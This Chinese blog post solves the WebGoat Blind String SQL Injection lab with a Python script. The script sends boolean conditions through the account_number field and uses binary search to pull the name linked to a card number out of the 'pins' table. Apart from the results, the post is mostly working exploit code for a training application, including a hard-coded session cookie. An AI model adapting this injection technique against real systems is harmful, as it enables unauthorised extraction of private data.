webgoat 中 Blind String SQL Injection 的 Python 编程解决
2013-03-08 16:54
656 查看
这个 task 如果用手工尝试的话, 还是比较麻烦的. 决定用编程解决.
Python处理任务相关的问题比较方便, 花时间入门了下 python, 然后开始写代码, 很简单的原理.
在这期间发现简单的算法都不熟了, 汗.
以下是代码
Python处理任务相关的问题比较方便, 花时间入门了下 python, 然后开始写代码, 很简单的原理.
在这期间发现简单的算法都不熟了, 汗.
以下是代码
#!/usr/bin/python #author: dengzhaoqun #date: 2013-03-08 #email: dengzhaoqun@163.com import urllib import urllib2 import sys url= 'http://localhost/WebGoat/attack?Screen=3433&menu=1100' account = 101 result = '<p>Account number is valid</form></div>' def isValid(str): params = urllib.urlencode({'account_number': str, 'SUBMIT':'Go!'}) req = urllib2.Request(url, params, {'Cookie':'JSESSIONID=8FFA3190C91029D2BB486DEBE4D037B0'}) f = urllib2.urlopen(req) content = f.read() ret = content.find(result) if(ret == -1): return False return True #get name len lenMax = 100 lenMin = 1 while(lenMax > lenMin): #print lenMax, lenMin len = (lenMax + lenMin) / 2 str = "%d and ((LENGTH(select name from pins where cc_number = '4321432143214321')) <= %d)" %(account, len) #print str valid = isValid(str) if( not valid): lenMin = len + 1 else: lenMax = len print "--- name len: %d ---" %lenMax # get name name = '' for i in range(1, lenMax + 1): charMax = 122 # 'z' charMin = 65 # 'A' while(charMax > charMin): #print chr(charMax), chr(charMin) char = (charMax + charMin) / 2 str = "%d and ((SUBSTRING((select name from pins where cc_number = '4321432143214321'), %d, 1)) <= '%s')" %(account, i, chr(char)) #print str valid = isValid(str) if( not valid): charMin = char + 1 else: charMax = char name += chr(charMax) print '--- name: %s ---' % name运行结果如下
--- name len: 4 --- --- name: Jill ---"Jill" 即是所求的 name .
相关文章推荐
- 编程过程中遇到的python问题与解决方法_来自网络
- 自己编程中遇到的Python错误和解决方法汇总整理
- Python案例-网络编程-socket-解决ssh消息粘包问题
- python和matlab混合编程,并解决error "ImportError: No module named matlab.engine"
- 解决python的socket编程报Errno 98的问题
- Python 3中套接字编程中遇到TypeError: 'str' does not support the buffer interface的解决办法
- python 示例分享---逻辑推理编程解决八皇后
- Python3之socket编程解决粘包问题
- Python 3中套接字编程中遇到TypeError: 'str' does not support the buffer interface的解决办法
- 九、Python编程解决组合问题(之一…
- Python 3中套接字编程中遇到TypeError: 'str' does not support the buffer interface的解决办法
- 【学习笔记】用python的非闭包、闭包(函数式编程)、面向对象方法解决旅行者问题
- Python 3中套接字编程中遇到TypeError: 'str' does not support the buffer interface的解决办法
- Python 网络爬虫 006 (编程) 解决下载(或叫:爬取)到的网页乱码问题
- 自己编程中遇到的Python错误和解决方法汇总整理
- Python 网络爬虫 006 (编程) 解决下载(或叫:爬取)到的网页乱码问题
- 解决Linux下Python3交互式编程时方向键乱码问题
- 彻底解决python cgi 编程出现的编码问题
- Python入门经典 以解决计算问题为导向的Python编程 待完好
- python 示例分享---逻辑推理编程解决八皇后